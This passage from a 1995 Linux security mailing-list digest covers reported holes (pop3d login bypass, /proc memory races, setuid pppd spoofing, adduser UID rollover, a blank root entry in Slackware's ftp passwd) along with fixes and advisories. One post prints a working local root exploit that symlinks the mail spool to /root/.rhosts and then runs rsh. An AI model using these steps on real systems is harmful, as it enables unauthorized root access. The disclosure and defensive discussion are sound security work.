want to check). I discovered that after changing yeah ... the problem lies in that for some reason, the shadow library doesn't compile in the object valid.o. I've no clue why, I didn't really look too deeply into it, I just recompiled the popd and linked the valid.o to it, and it worked like a charm. If this is the same problem I'm thinking of, sorry I can't get line numbers, but the problem is with the line that contains the valid() function in the pop source, I believe. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greg Gallagher | "When the fox gnaws--smile!" Loyola University, student | (312)973-9375 | -- L. L. pgp key avilable upon request | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ On Wed, 4 Oct 1995, Panzer Boy wrote: > Has anyone poked into this yet? I just gleamed it off of of the Linux ISP > list. I am running pop from the pine imap code (w/ shadow changes) and > wasn't able to verify this problem, though I don't usually run bins I > gleam from sunsite, et al. > > pine3.91 imap/pop shadow patches can be grabbed from: > ftp.dhp.com:/pub/linux/security/pine.shadow > > -- > -Matt ([email protected]) DI-1-9026 > "That which can never be enforced should not be prohibited." > > > Path: news.dhp.com!news.dhp.com!not-for-mail > From: System Administrator > Newsgroups: mail.linux-isp > Subject: [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! > Date: 1 Oct 1995 19:19:35 -0400 > Message-ID: > To: [email protected] > > to shadow support and compiling and testing all of my programs (i.e. > ftpd, pop3d, login, etc) that the pop3d allowed me to view anyone mail on > my system, no matter what password I put in. Thinking that it was maybe > something I had wrong I telneted to the pop3 port on a few of the shadow > linux systems I knew about. EVERY System I tried that was running 1.004 > allowed me to read anyone on that systems mail. I have looked at the > code and have narrowed it down to the util.c file, but am in no way a > very good c programmer. I am putting out this notice to warn everone and > to hope that someone will come up with a fix very quickly. And since my > newsfeed is down for the weekend would someone please post this on the > newsgroups and anywhere else you might think it will get distributed the > fastest. Thanks. > > > > /---------------------------------------------------------------------------\ > | John Maslanik |\/| | \ / Voice: (619) 449-6282 | > | MLXnet Admin | | |__ / \ Data/Fax: (619) 449-6274 | > \---------------------------------------------------------------------------/ > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > To [un]subscribe to this list, contact [email protected] > Please send contributions for the mailing list to: [email protected] > Please contact the mailing-list-owner as: [email protected] > ------------------------------ From: Marc Lewis Date: Wed, 4 Oct 1995 20:02:24 -0700 (PDT) Subject: Re: POP3 security hole (Maybe just one distribution/binary?) On Wed, 4 Oct 1995, Panzer Boy wrote: > Panzer Boy writes to the Seattle Linux Mailing List: > > Has anyone poked into this yet? I just gleamed it off of of the Linux ISP > list. I am running pop from the pine imap code (w/ shadow changes) and > wasn't able to verify this problem, though I don't usually run bins I > gleam from sunsite, et al. > > pine3.91 imap/pop shadow patches can be grabbed from: > ftp.dhp.com:/pub/linux/security/pine.shadow > I just tested this on our system (v1.004) and it kept me out. I even tried a few good passwords and it wouldn't let me in. We did build this in.pop3d ourselves, however... - Marc - -----------------------------+--------------------------------------------- Marc Lewis ([email protected]) | Blarg! Online Services - Seattle, WA Data: 206/812-1621 - or - | BBS - Shell - SLIP - PPP - 56k Frame Relay telnet to animal.blarg.net | Consulting services & setup available then login as 'new' | World-Wide-Web: http://www.blarg.net/ - -----------------------------+--------------------------------------------- ------------------------------ From: Marek Michalkiewicz Date: Tue, 10 Oct 1995 19:16:13 +0100 (MET) Subject: Re: Kernel /proc security holes Nick Kralevich: > I've heard numerous people mention the security holes in the /proc > filesystem. From what I have heard, most of the discussion goes on in > the Linux kernel mailing list. However, I don't subscribe to that list. > > Right now I am running 1.2.13. Are there any known security holes in > that version? If so, how would I go about patching those holes? Unfortunately, there are still some holes. The owner of /proc files is changed to root if the process becomes undumpable, but this change doesn't always take effect immediately. Here is one example (thanks to Ian Jackson for sending it to me): $ echo $$ ... $ ls -al /proc/ $ dd if=/proc//mem of=/dev/null ... $ exec su Password: $ ls -al /proc/ $ dd if=/proc//mem of=/dev/null ... The first "ls" will read the inode information in memory when the process is still dumpable, the second will use the cached inode information and files will have the same permissions. This has been fixed in recent 1.3.x kernels (1.3.30 appears to be safe). The permissions now change immediately if the process becomes undumpable. There is still another problem which needs fixing. Open /proc//mem while the process is still dumpable, hold the file descriptor, and then have the process exec some setuid program. The process is now undumpable and you can't open /proc//mem now, but you can read the previously opened file descriptor. Fortunately, write is not supported yet... Marek ------------------------------ From: Zygo Blaxell Date: Wed, 11 Oct 1995 11:02:41 -0400 (EDT) Subject: Re: console security (was Re: problem wi Quoted from Theodore Ts'o: > That being said, if you look at the comments in the kernel sources > regarding the SAK, you will see that I am very well aware of its > shortcomings. A really correct implementation would require the help of > specialized code in /etc/init, to do things like restore the default > font, keymappings, etc. It turns out, though that you still can't do a > perfect job, due to the brain damaged way that video modes that handled > by the Linux system. That is to say, user programs are responsible for > saving and restoring the contents of the video registers, *not* the > kernel. Hence, it's basically impossible for the kernel for the kernel > to reset the video mode to anything sane when the SAK is pressed. > > The right way to do things is that the kernel should be responsible for > setting and resetting the video modes, and all the programs that > currently muck with such things (X11, dosemu, svgalib, etc.) would rely > on kernel calls to do their work. This has the further advantage that > programs that rely on svgalib no longer need to be setuid root, and that > buggy X servers, dosemu, and svgalib programs can no longer render the > console to be useless, requiring a reboot to fix things. Oh, I don't know about this. The 'resize' code that's distributed with kbd is capable of recovering from all sorts of nonsense that Dosemu and XFree86 do to my consoles (I even have a dedicated perl script on tty2 just to kick the console back into text mode--it does lose the contents of every console, but it at least makes the console usable). Ditto for fonts and palette registers. You can come to a reasonable approximation of reloading the keyboard maps using loadkeys. A quick shell script that does that, reasserts 'text' mode on the keyboard, and exec's getty can do the job to cleaning up the mess after SAK without modifiying init or getty. A neat side-benefit of having SAK blow away XFree86 with extreme prejudice is that when you exit X window sessions you don't spend minutes swapping in megabytes of X server data just to erase windows from the screen. It's more secure, faster, and more reliable than letting XFree try to restore what it thought was the VGA settings before it was invoked. On most hardware putting more functionality in the kernel would be the most elegant thing to do; however, with an Intel-based platform with N+1 video cards available, the kernel will only ever have as many as N video drivers... > The main reason why no one has done any of these work? Probably because > in 99.7% of the Linux boxes out there, console security is basically > pointless. If you have access to the Linux console, you probably also > have access to the computer --- specifically, you can probably insert > your own boot floppy, and reboot the machine by hitting the magic "big > red button", or simply by power cycling the machine. > > It's possible to close off some of these holes, if you have a BIOS that > allows passwords (although someone has already posted the routine that > will allow you to retrieve the password from the CMOS for AMI BIOS's), > AND you can disable booting from the floppy, AND you don't allow any > other OS, like DOS, to be booted from LILO, AND you configure LILO so > that the user can't specify arguments to the boot command, AND the CPU > box is locked up so someone can't open up the case, and blast the > contents of the CMOS. > > However, most of the time people just don't care about console security. > If you're running Linux as timesharing machine (or a dialup server, or a > PPP server, or whatever), it wants to be locked up somewhere where you > can provide good physical security for the machine. If you're running > it as a single-user workstation, then console security isn't important. Hmmm...close to 99.7% (gratuitous statistic) of the Linux boxes planned to be deployed at a well-known university I used to be affiliated with are multi-user workstations (that is, they service many users, but usually only one or two at a time). The machines meet all of the criteria above (the metal spike through the case prevents theft as well as making it hard to open ;-). The major issues that have blocked the widespread deployment of Linux in the past (performance, reliability, and support) are disappearing rapidly as Linux matures, and the problems that are left are training and security issues. In an environment where the seats in front of the terminals rarely get cold, console security is not to be ignored. > There are some rare cases where console security is actually important > in real life. However, these are the execption, not the rule. That's > why I never bothered taking the SAK code any further than where I had > left it. If someone wants to take it further, be my guest! However, be I would like to, but my implementation of a more secure console got rejected (something about requiring root privilege to do anything that wasn't in VT220 protocol... ;-). I agree that requiring superuser access to remap _any_ key on the keyboard is a bit restrictive; nonetheless, I'm desparate for any way to prevent a user from being able to map _every_ key on the keyboard, and requiring superuser access to do it is close enough for this 0.3% of people. ;-) It would be nice if there was even the _option_ of extra security in the standard kernel. Perhaps all of the "evil" ioctl calls could be moved to some device file (where an ioctl is "evil" if it can interact with, prevent the interaction with, or change the user interface to more than the one console upon which it is invoked). This would allow administrators to set their own permissions--666 for the current behavior, and 600 for the paranoid. I was very impressed with the way my concerns with the screen-dump ioctls were addressed. /dev/vcs* is a _really_ nice interface compared to the old ioctl(); it enhanced security, added configurability, and I got to throw away yet another Linux-specific utility program ('screendump' obsoleted by 'cat'). > warned that the number of people who will find it useful will be > relatively small, and it's not going to be easy. Many people will > therefore probably find it not worth doing (unless of course they need I get paid to increase security wherever it doesn't get in the way of real work...(lousy job, someone's gotta do it ;-). I find it worth doing, and do it every time a new kernel comes out. :( > it themselves for their own application --- in which case they should be > warned that they had better think about other ways that someone with > access to the console can break into their system). We don't use NFS, network services without cryptographic authentication, setuid programs, or mount /proc or removable media in our most secure servers. Console security really is a bit of a weak point right now--the one thing I can't do is prevent people from creating their own binaries (kinda sucks when you are in the business of developing software), so I can't prevent users from generating VT ioctl calls. With the number of transient employees increasing, and the extreme value (at least on paper) of some of our data, we can't afford to have people leaving trojans running on popular workstations when they leave for the day. Buying more machines so permanent employees can have their own terminals would be nice, but a quick patch to the kernel is cheaper than half a dozen Pentium boxes. Incidentally, SAK is broken in 1.3.30 for the console :(. Gets a NULL pointer dereference and kills the keyboard interrupt handler, but otherwise keeps running. If anyone needs more info I'll do it again and get the addresses. ------------------------------ End of linux-security-digest V1 #40 *********************************** linux-security-digest/1995/v01.n041100664 1767 1767 51161 6041250253 16044 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #41 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 18 October 1995 Volume 01 : Number 041 PPP security hole? Re: console security (was Re: problem wi Re: PPP security hole? Re: console security (was Re: problem wi Re: console security (was Re: problem wi Re: PPP security hole? Re: PPP security hole? Re: console security (was Re: problem wi URGENT: Linux Security FAQ Update#7: adduser-1.0 script vulnerability ---------------------------------------------------------------------- From: Nick Kralevich Date: Wed, 11 Oct 1995 16:14:44 -0700 (PDT) Subject: PPP security hole? Summary: The current pppd, as installed by slackware and other distributions, could allow a user to become another computer on the network. By default, slackware installs pppd as setuid root. caa32:~> ls -la /usr/lib/ppp/pppd - -rws--x--x 1 root bin 66564 Feb 16 1995 /usr/lib/ppp/pppd* The command line /usr/lib/ppp/pppd passive crtscts modem proxyarp :128.32.111.22 asyncmap 0 allows the user to open a PPP connection as the address specified. The solution seems to be to disable PPP support in the kernel, remove the setuid flag from the pppd executable, or modify/create default pppd configuration files which will prevent this type of thing. Any Linux machine that can be logged into my multiple users is potentially vulnerable to this installation problem. Take care, - -- Nick Kralevich [email protected] ------------------------------ From: Alan Shutko Date: Wed, 11 Oct 1995 22:26:12 -0500 Subject: Re: console security (was Re: problem wi >>>>> "Zygo" == Zygo Blaxell writes: Zygo> A neat side-benefit of having SAK blow away XFree86 with extreme Zygo> prejudice is that when you exit X window sessions you don't Quick question: I have set up SAK after hearing this discussion. However, it doesn't work on X or SVGA apps like executor-svga. Any ideas? Zygo> On most hardware putting more functionality in the kernel would Zygo> be the most elegant thing to do; however, with an Intel-based Zygo> platform with N+1 video cards available, the kernel will only Zygo> ever have as many as N video drivers... That's a clear case for defining a solid video card interface for the kernel and writing lots of kernel modules for specific cards. SVGAlib and XFree86 both have to do lots of work to support lots of cards; by making them kernel modules we could drastically reduce it. Do the work once rather than twice. - ------------------------------------------------------------------------ Alan Shutko - The Few, the Proud, the Remaining. DM Advice: If they split up, giggle insanely. ------------------------------ From: [email protected] (Olaf Kirch) Date: Thu, 12 Oct 1995 19:51:58 +0100 (MET) Subject: Re: PPP security hole? Nick Kralevich wrote: > The solution seems to be to disable PPP support in the kernel, remove the > setuid flag from the pppd executable, or modify/create default pppd > configuration files which will prevent this type of thing. An even better solution may be to write a small setuid wrapper program for each host that you wish users to be able to dial up that executes pppd with the appropriate set of options. Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. ------------------------------ From: "Theodore Ts'o" Date: Fri, 13 Oct 1995 14:52:23 -0400 Subject: Re: console security (was Re: problem wi From: Zygo Blaxell Date: Wed, 11 Oct 1995 11:02:41 -0400 (EDT) Oh, I don't know about this. The 'resize' code that's distributed with kbd is capable of recovering from all sorts of nonsense that Dosemu and XFree86 do to my consoles Yes, but if you've just hit the SAK, you may be in a situation where the console is a mess, and you don't have a shell on that tty (since the SAK so kindly blew it away from you), so running the 'resize' program, assuming that you have it, may not be at all easy..... On most hardware putting more functionality in the kernel would be the most elegant thing to do; however, with an Intel-based platform with N+1 video cards available, the kernel will only ever have as many as N video drivers... Well, the video drivers have to exist for SVGAlib and XF86 to use them, anyway. I'm just suggesting that instead of needing to implement them twice, once for SVGAlib and once for XF86, that we move that code into the kernel, where it belongs. Hmmm...close to 99.7% (gratuitous statistic) of the Linux boxes planned to be deployed at a well-known university I used to be affiliated with are multi-user workstations (that is, they service many users, but usually only one or two at a time). Multiuser machines where the console is publically available? I consider that unusual..... and generally a bad idea, since trying to keep a large number of machines like that secure is a real headache. It's generally much easier to have a few, large timesharing machines which are carefully administered, and then have a large number of small, single user machines which are publically accessinble in public clusters. It sounds like your university is using a very different model than this though. It would be nice if there was even the _option_ of extra security in the standard kernel. Perhaps all of the "evil" ioctl calls could be moved to some device file (where an ioctl is "evil" if it can interact with, prevent the interaction with, or change the user interface to more than the one console upon which it is invoked). This would allow administrators to set their own permissions--666 for the current behavior, and 600 for the paranoid. Do you really expect more than one user to be simultaneously using a console at a time? I would think it's much more likely that one user will be using multiple consoles, and so what you want to do is that when the user logs out, there is a cleanup process that remaps all of the keys and resets all of the console configuration to a known standard. This way, a user at your university can remap the keys to a dvorak configuration if he/she wishes, but when the user logs out and leaves the workstation, the cleanup process resets things to a standard configuration so that the next user to walk up to the workstation can get a standard configuration. - Ted ------------------------------ From: Zygo Blaxell Date: Sat, 14 Oct 1995 06:04:14 -0400 (EDT) Subject: Re: console security (was Re: problem wi Quoted from Alan Shutko: > > >>>>> "Zygo" == Zygo Blaxell writes: > > Zygo> A neat side-benefit of having SAK blow away XFree86 with extreme > Zygo> prejudice is that when you exit X window sessions you don't > > Quick question: I have set up SAK after hearing this discussion. > However, it doesn't work on X or SVGA apps like executor-svga. Any > ideas? There's a kernel patch posted to some linux-*@vger list a while ago that does the SAK handling at a lower level than all the other keysyms. If you can't find it in the standard mailing list archives, I might be able to still find it in mine...it's been a while since I needed the patches, having changed jobs and security policies since then. > Zygo> On most hardware putting more functionality in the kernel would > Zygo> be the most elegant thing to do; however, with an Intel-based > Zygo> platform with N+1 video cards available, the kernel will only > Zygo> ever have as many as N video drivers... > > That's a clear case for defining a solid video card interface for the > kernel and writing lots of kernel modules for specific cards. SVGAlib > and XFree86 both have to do lots of work to support lots of cards; by > making them kernel modules we could drastically reduce it. Do the > work once rather than twice. Sigh...perhaps it's time for drivers/vga... ------------------------------ From: [email protected] (Marc A. Tamsky) Date: Thu, 12 Oct 95 19:17 PDT Subject: Re: PPP security hole? While we're all sharing our favorite ways to do this... The way I disable this, but keep it a usable service is: # chmod o-x /usr/lib/ppp/pppd If you're really paranoid, and only want root to use it: # chmod go-rwx /usr/lib/ppp/pppd As a service, I've created a ppp group, and made the pppd binary group-executable. PPP login accounts have their group=ppp, and login shell set to a shell script which dynamically assigns IP based on incoming tty. This, by no random chance, happens to be compatable with the sliplogin way of doing tty->ip mapping. - --- /usr/local/bin/ppplogin: #!/bin/bash IFS=' ' TTY=`/usr/bin/tty` LINE=`/usr/bin/grep $TTY /etc/slip.tty` IP=`/bin/echo $LINE | /bin/cut -d\ -f2` /usr/bin/mesg n exec /usr/lib/ppp/pppd xxx.xxx.xxx.xxx:$IP - -- | Marc Tamsky [email protected] Linux is good. >>>>> On Wed, 11 Oct 1995 16:14:44 -0700 (PDT), Nick Kralevich said: } Summary: The current pppd, as installed by slackware and other } distributions, could allow a user to become another computer on the network. } By default, slackware installs pppd as setuid root. } -rws--x--x 1 root bin 66564 Feb 16 1995 /usr/lib/ppp/pppd* [snip] } allows the user to open a PPP connection as the address specified. The } solution seems to be to disable PPP support in the kernel, remove the } setuid flag from the pppd executable, or modify/create default pppd } configuration files which will prevent this type of thing. ------------------------------ From: Pete Chown Date: Fri, 13 Oct 1995 20:57:01 +0100 (BST) Subject: Re: PPP security hole? Nick Kralevich writes: >Summary: The current pppd, as installed by slackware and other >distributions, could allow a user to become another computer on the network. Wow, so if I run pppd I might turn into a computer? That sounds like the worst security hole I've ever come across... :-) - ------------------------------------------------------------------------- [email protected] "The Pen is mightier than the Quill" -- anonymous ------------------------------ From: Zygo Blaxell Date: Sat, 14 Oct 1995 06:39:45 -0400 (EDT) Subject: Re: console security (was Re: problem wi Quoted from Theodore Ts'o: > > From: Zygo Blaxell > Date: Wed, 11 Oct 1995 11:02:41 -0400 (EDT) > > Oh, I don't know about this. The 'resize' code that's distributed with > kbd is capable of recovering from all sorts of nonsense that Dosemu > and XFree86 do to my consoles > > > Yes, but if you've just hit the SAK, you may be in a situation where the > console is a mess, and you don't have a shell on that tty (since the SAK > so kindly blew it away from you), so running the 'resize' program, > assuming that you have it, may not be at all easy..... No problem. The resize is executed automatically by init before getty. It does have the side-effect of creating an annoying white flash every time someone logs out of text consoles... > On most hardware putting more functionality in the kernel would be the > most elegant thing to do; however, with an Intel-based platform with > N+1 video cards available, the kernel will only ever have as many as N > video drivers... > > Well, the video drivers have to exist for SVGAlib and XF86 to use them, > anyway. I'm just suggesting that instead of needing to implement them > twice, once for SVGAlib and once for XF86, that we move that code into > the kernel, where it belongs. > > Hmmm...close to 99.7% (gratuitous statistic) of the Linux boxes planned to > be deployed at a well-known university I used to be affiliated with are > multi-user workstations (that is, they service many users, but usually > only one or two at a time). > > Multiuser machines where the console is publically available? I > consider that unusual..... and generally a bad idea, since trying to > keep a large number of machines like that secure is a real headache. > It's generally much easier to have a few, large timesharing machines > which are carefully administered, and then have a large number of small, > single user machines which are publically accessinble in public > clusters. It sounds like your university is using a very different > model than this though. Waterloo has had the headaches. They loaded up on Tylenol and fixed the real problems. Assuming you installed sniffer hardware, you need to break DES to do almost anything interesting to the machine itself; compromising user accounts is easier when they are using unencrypted network services but any such attack only affects the machine or the attached network for the period of time that the sniffer is installed. I don't know if Linux supports DES encrypted NFS, but I'm sure that Linux isn't the first architecture not to support it, and they have the appropriate software hanging around. Everything else already works. There are large timesharing machines too; the workstations are primarily used as X terminals, but CS graphics weenies don't like people sharing their CPU and like network delays to their X terminal even less, so some of the X terminals are in fact full-fledged Unix machines. You can even distribute large compiles over 10 of them at a time. They are regarded as "less available" more than "less secure"...because their power switches aren't (yet?) encased in epoxy like they oughta be, people keep turning them off when they appear to hang. Most of the security threat to these machines (aside from just plain being broken or stolen) comes from snooping and spoofing attacks on fellow students. I've seen the occasional login prompt with just the wrong font size more than once as a student there. Fortunately, all of the terminals (with the exception of some Linux boxes) have some obscure way to restart the session, ranging from line break (on serial terminals) to combinations of keys depending on the flavor of X server (Ctrl+Alt+CapsLock+Setup, Ctrl+Alt+Backspace, L1+A...). I figure Linux should be at least as secure as one of these without turning it off and on first; currently, it is not. > It would be nice if there was even the _option_ of extra security in the > standard kernel. Perhaps all of the "evil" ioctl calls could be moved > to some device file (where an ioctl is "evil" if it can interact with, > prevent the interaction with, or change the user interface to more than > the one console upon which it is invoked). This would allow > administrators to set their own permissions--666 for the current > behavior, and 600 for the paranoid. > > Do you really expect more than one user to be simultaneously using a > console at a time? I would think it's much more likely that one user > will be using multiple consoles, and so what you want to do is that when > the user logs out, there is a cleanup process that remaps all of the > keys and resets all of the console configuration to a known standard. > > This way, a user at your university can remap the keys to a dvorak > configuration if he/she wishes, but when the user logs out and leaves > the workstation, the cleanup process resets things to a standard > configuration so that the next user to walk up to the workstation can > get a standard configuration. I'm not trying to help users clean up their own mess; I'm trying to help users clean up the mess that the previous user left for them, in as efficient and thorough a manner as possible. To do this you need at least a way to signal that a session is to end, and you need to remove any way to prevent this signal from reaching its target (or, in the case of the VT_ACTIVATE call, causing the target to change. Grrr.). ------------------------------ From: alex Date: Tue, 17 Oct 1995 20:34:06 -0400 (EDT) Subject: URGENT: Linux Security FAQ Update#7: adduser-1.0 script vulnerability [NB: I didn't write the adduser replacement; I just modified it. --okir] - -----BEGIN PGP SIGNED MESSAGE----- adduser-1.0 Security Vulnerability LINUX SECURITY FAQ UPDATE October 17, 1995 15:30:01 EST Copyright (C) 1995 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/544C7805 1994/07/17 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of the signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security/ linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive/ ============================================================================= VULNERABILITY ************* The adduser 1.0 script used on a lot of systems to add a new user account has a potential vulnerability that in some cases can allow an owner of the created account to gain unauthorized root access. The original version of this script had a mistake in the algorithm used to generate a new UID, which on systems that had accounts with UID close to 65535 (i.e. accounts 'nobody' with UID -2 or -1) caused the newly generated account to receive UID 0. AFFECTED DISTRIBUTIONS: *********************** RED HAT ======= Red Hat 2.0 uses a vulnerable version of the adduser script. Fortunately, Red Hat 2.0 systems by default do not have any accounts with UID higher than 1000. Nevertheless, an updated package is available from the following places: ftp://ftp.pht.com/pub/linux/redhat/redhat-2.0/updates/RPMS/adduser-1.1-1.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat2.0/adduser-1.1-1.i386.rpm ftp://linux.nrao.edu/pub/people/alex/DISTRIBUTION-FIXES/RedHat2.0/adduser-1.1-1.i386.rpm Please verify the MD5 message digest of the upgrade before installing. It has to be : MD5 (adduser-1.1-1.i386.rpm) = 543fab52c0cf6ae4751858d08cf958bd The upgrade can be performed using command rpm -USvh adduser-1.1-1.i386.rpm CALDERA DESKTOP =============== Unfortunately at this time we are not able to provide adequate information about vulnerability of the Caldera Desktop, though due to the fact that Caldera Desktop is based up RedHat 2.0, we recommend installing the updated adduser script. SLACKWARE ========= By default Slackware does not use the vulnerable adduser script, although we do recommend that you check. If it does, replace your adduser script with the one located on: ftp://bach.cis.temple.edu/pub/Linux/Security/adduser-1.1-ok.gz ftp://linux.nrao.edu/pub/people/alex/adduser-1.1-ok.gz Please verify the MD5 message digest of the adduser-1.1-ok.gz before installing it. It has to be: MD5 (adduser-1.1-ok.gz) = ceadb362f6761c59fc8e37e5ef7dcd29 OTHER DISTRIBUTIONS: Please follow the instructions under Slackware section. THE REPLACEMENT SCRIPT ********************** The replacement script was written by Olaf Kirch some time ago (probably when we discussed the possibility of roll-over in the linux-security mailing list). This script also uses a bit different algorithm of user ID allocation (first unused userid after uid of 500). CREDITS ******* The following people helped in preparing this update and fix: Marc R. Ewing Olaf Kirch Jennifer Burke - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMIRHPIxFUz2t8+6VAQHCfwP+NK3JiT93q0x7gyJnh37KlUqvRA66ssj2 YCamjV87yNqB5419ctWOe9nPwUMelYuFXnR7cw+a7HMhmFM7nXnOhB3TN5Rari+U MCKkhxnIpwrPh/c6MPsX3mVXW9XW/7sDeCOTdXqUJC9dveY0OHxdd6T639u5UcAA Y9HK6NmGUt4= =tzew - -----END PGP SIGNATURE----- ------------------------------ End of linux-security-digest V1 #41 *********************************** linux-security-digest/1995/v01.n042100664 1767 1767 40121 6044637421 16050 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #42 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Sunday, 29 October 1995 Volume 01 : Number 042 mounting partitions nosuid under Slackware 3.0 Re: mounting partitions nosuid Re: mounting partitions nosuid NOSUID on CD-ROMs /var/spool/mail permissions slackware 3.0 bad hole Re: slackware 3.0 bad hole Re: /var/spool/mail permissions Re: slackware 3.0 bad hole Re: /var/spool/mail permissions mail spool Slackware ftpd wrap-up ---------------------------------------------------------------------- From: [email protected] (David Sacerdote) Date: Fri, 20 Oct 1995 17:42:03 -0400 Subject: mounting partitions nosuid under Slackware 3.0 I just did an install of Slackware 3.0, and decided to mount my slackware 2.1 cdrom nosuid. However, I promptly noticed that marking /cdrom nsuid in /etc/fstab appears to have no effect whatsoever. Has anybody else observed this? David Sacerdote ------------------------------ From: "Leonard N. Zubkoff" Date: Sat, 21 Oct 1995 13:14:02 -0700 Subject: Re: mounting partitions nosuid From: [email protected] (Olaf Kirch) Date: Sat, 21 Oct 1995 20:43:09 +0100 (MET) Hi Leonard, > and here are the results of a mount command: > > /dev/sr1 on /cd2 type iso9660 (ro,noexec,nosuid,nodev,unhide) > /dev/sr2 on /cd3 type iso9660 (ro,noexec,nosuid,nodev,unhide) > /dev/sr3 on /cd4 type iso9660 (ro,noexec,nosuid,nodev,unhide) > > It sure looks to me like it's working. But the point is whether nosuid is honored by the kernel. The mount command simply copies the options from fstab into mtab, so what the above mount invocation shows is that the options were indeed copied correctly, no more. If you find the time, can you please check what happens if you invoke a setuid program on your cdrom and post the results to the list? I currently don't have a cd drive at home. You are indeed correct. The noexec option *is* honored but the nosuid option is not. I've briefly perused the kernel source but I don't see why this should be the case. Leonard ------------------------------ From: [email protected] (Robert Nichols) Date: Sat, 21 Oct 95 18:17 CDT Subject: Re: mounting partitions nosuid [mod: quoting trimmed --okir] [mod: does anyone know where I can purchase the above as a virtual rubber stamp? :) --okir] The suid permission bits will still appear to be set, but the kernel will refuse to execute the file ("Operation not permitted") for a non-root user. At least that's the way it works for me (1.2.13). - -- Bob Nichols [email protected] ------------------------------ From: "Leonard N. Zubkoff" Date: Sat, 21 Oct 1995 20:01:38 -0700 Subject: NOSUID on CD-ROMs [mod: quoting trimmed slightly --okir] Date: Sat, 21 Oct 1995 13:14:02 -0700 From: "Leonard N. Zubkoff" You are indeed correct. The noexec option *is* honored but the nosuid option is not. I've briefly perused the kernel source but I don't see why this should be the case. It looks like my testing earlier today was flawed. I just started trying to track this problem down and I cannot now make the nosuid option fail to work correctly. It looks like I must have mistyped a mount command earlier. If anyone has a test case to the contrary, I'll revisit this. Sorry about that. Leonard ------------------------------ From: [email protected] Date: Wed, 25 Oct 1995 00:18:32 +0000 (GMT) Subject: /var/spool/mail permissions Hello, People on comp. security. unix have suggested giving /var/spool/mail drwxrwxrwt permissions on linux. On my system I know that this is a BAD idea, and I told them so. My system (Slackware 2.0) runs Smail3.1.28.1 since I have not altered the mail setup since I have installed it. Now if I change /var/spool/mail to drwxrwxrwt a user can delete his mail file and replace it with a symbolic link to any file, mail is then written to this file as root (amusingly the ownership of the actual symbollic link is then changed). To use the typical example of root's .rhosts: arny> ls -ld /var/spool/mail drwxrwxrwt 2 root mail 1024 Oct 24 21:37 /var/spool/mail/ arny> cp /var/spool/mail/arny ~/myoldmailfile arny> rm /var/spool/mail/arny arny> ln -s /root/.rhosts /var/spool/mail/arny arny> echo localhost arny | mail arny arny> rsh localhost -l root 'sh -i' bash# id id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(shadow) bash# I have yet posted the above details, but just this evening I have received mail from five people asking for them. The thing is I'm not a great linux expert, although I do use it everyday. For a start I don't know the answers to the following questions: a) how many linux systems does this effect? b) has this problem to some extent been fixed in the latest distributions of linux? c) is this problem old news, has it been discussed before, how many people know about it? d) should I post the above 'exploit' details to comp.security.unix, since some people seem to need little excuse to criticise linux, which in this case would be unfair? (Having said that if I keep getting mail I may (almost) have to post it). Personally I think slackware really does have the right idea with: drwxrwxr-x 2 root mail 1024 Oct 24 22:44 /var/spool/mail/ and avoids a lot of problems such as race conditions etc. The only problem for me is that root is effectively trusting group mail, which IMO is not a very good idea, although plenty of other operating systems trust root to all sorts. I don't subscribe to this mailing list, so please cc all replys to: [email protected] Alternatively help me out a little here and post to comp.security.unix instead. Thanks, Arny - [email protected] - -- unix/net/hack page Arny's Home Page ------------------------------ From: [email protected] Date: Tue, 24 Oct 1995 20:11:49 -0700 Subject: slackware 3.0 bad hole I've just finished installing slackware 3.0 from the Walnut Creek cdrom and to my horror I saw that in ~ftp/etc the password file has root with no password: root-/home/ftp/etc>cat passwd root::0:0:root:/root:/bin/bash bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/sbin: adm:*:3:4:adm:/var/adm: lp:*:4:7:lp:/var/spool/lpd: sync:*:5:0:sync:/sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown halt:*:7:0:halt:/sbin:/sbin/halt mail:*:8:12:mail:/var/spool/mail: news:*:9:13:news:/var/spool/news: uucp:*:10:14:uucp:/var/spool/uucp: operator:*:11:0:operator:/root:/bin/bash games:*:12:100:games:/usr/games: man:*:13:15:man:/usr/man: postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash ftp:*:404:1::/home/ftp:/bin/bash basically everyone running an ftp site on a slackware 3.0 system is at risk They should be aware that they need to put a * as password for ftp, and that they can remove most of the stuff in that pwd file... May be this would be more revlevant on the alert list... JL B - -- - ------------------------------------------------------------------------------ Jean-Luc Duprat University of British Columbia [email protected] http://www.cs.ubc.ca/spider/duprat/homepage.html ------------------------------ From: [email protected] (Olaf Kirch) Date: Wed, 25 Oct 1995 12:22:04 +0100 Subject: Re: slackware 3.0 bad hole Jean-Luc Duprat wrote: > I've just finished installing slackware 3.0 from the Walnut Creek cdrom 